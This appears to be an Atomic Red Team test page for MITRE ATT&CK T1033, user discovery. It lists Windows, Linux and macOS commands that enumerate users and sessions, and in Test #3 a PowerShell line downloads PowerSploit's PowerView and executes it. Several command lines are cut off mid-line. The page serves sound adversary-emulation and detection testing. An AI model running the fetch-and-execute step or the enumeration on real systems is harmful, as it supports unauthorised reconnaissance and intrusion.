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# T1033 - System Owner/User Discovery

## Description from ATT&CK

Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery] (https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Various utilities and commands may acquire this information, including `whoami`. In macOS and Linux, the currently logged in user can be identified with `w` and `who`. On macOS the `dsccl . list /Users | grep -v '_'` command can also be used to enumerate user accounts. Environment variables, such as `%USERNAME%` and `$USER`, may also be used to access this information.

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## Atomic Test #1 - System Owner/User Discovery







Identify System owner or users on an endpoint.

Upon successful execution, cmd.exe will spawn multiple commands against a target host to identify usernames. Output will be via stdout. Additionally, two files will be written to disk - computers.txt and usernames.txt.

**Supported Platforms:** Windows

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Inputs:

Name	Description	Type	Default Value
computer_name	Name of remote computer	String	localhost

Attack Commands: Run with `command_prompt` !

```
cmd.exe /C whoami
wmic useraccount get /ALL
quser /SERVER:"#{computer_name}"
quser
qwinsta.exe /server:#{computer_name}
qwinsta.exe
for /F "tokens=1,2" %i in ('qwinsta /server:#{computer_name} ^| findstr
@FOR /F %n in (computers.txt) DO @FOR /F "tokens=1,2" %i in ('qwinsta /s
```

## Atomic Test #2 - System Owner/User Discovery

Identify System owner or users on an endpoint

Upon successful execution, sh will stdout list of usernames.

Supported Platforms: Linux, macOS

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Attack Commands: Run with `sh` !

```
users
w
who
```

## Atomic Test #3 - Find computers where user has session - Stealth mode (PowerView)

Find existing user session on other computers. Upon execution, information about any sessions discovered will be displayed.

Supported Platforms: Windows

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Attack Commands: Run with `powershell` !

```
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/
```

## Atomic Test #4 - User Discovery With Env Vars PowerShell Script

Use the PowerShell environment variables to identify the current logged user.

Supported Platforms: Windows

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Attack Commands: Run with powershell!

```
[System.Environment]::UserName | Out-File -FilePath .\CurrentactiveUser.txt
$env:UserName | Out-File -FilePath .\CurrentactiveUser.txt -Append
```

Cleanup Commands:

```
Remove-Item -Path .\CurrentactiveUser.txt -Force
```

## Atomic Test #5 - GetCurrent User with PowerShell Script

Use the PowerShell "GetCurrent" method of the WindowsIdentity .NET class to identify the logged user.

Supported Platforms: Windows

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Attack Commands: Run with powershell!

```
[System.Security.Principal.WindowsIdentity]::GetCurrent() | Out-File -Fi
```

Cleanup Commands:

```
Remove-Item -Path .\CurrentUserObject.txt -Force
```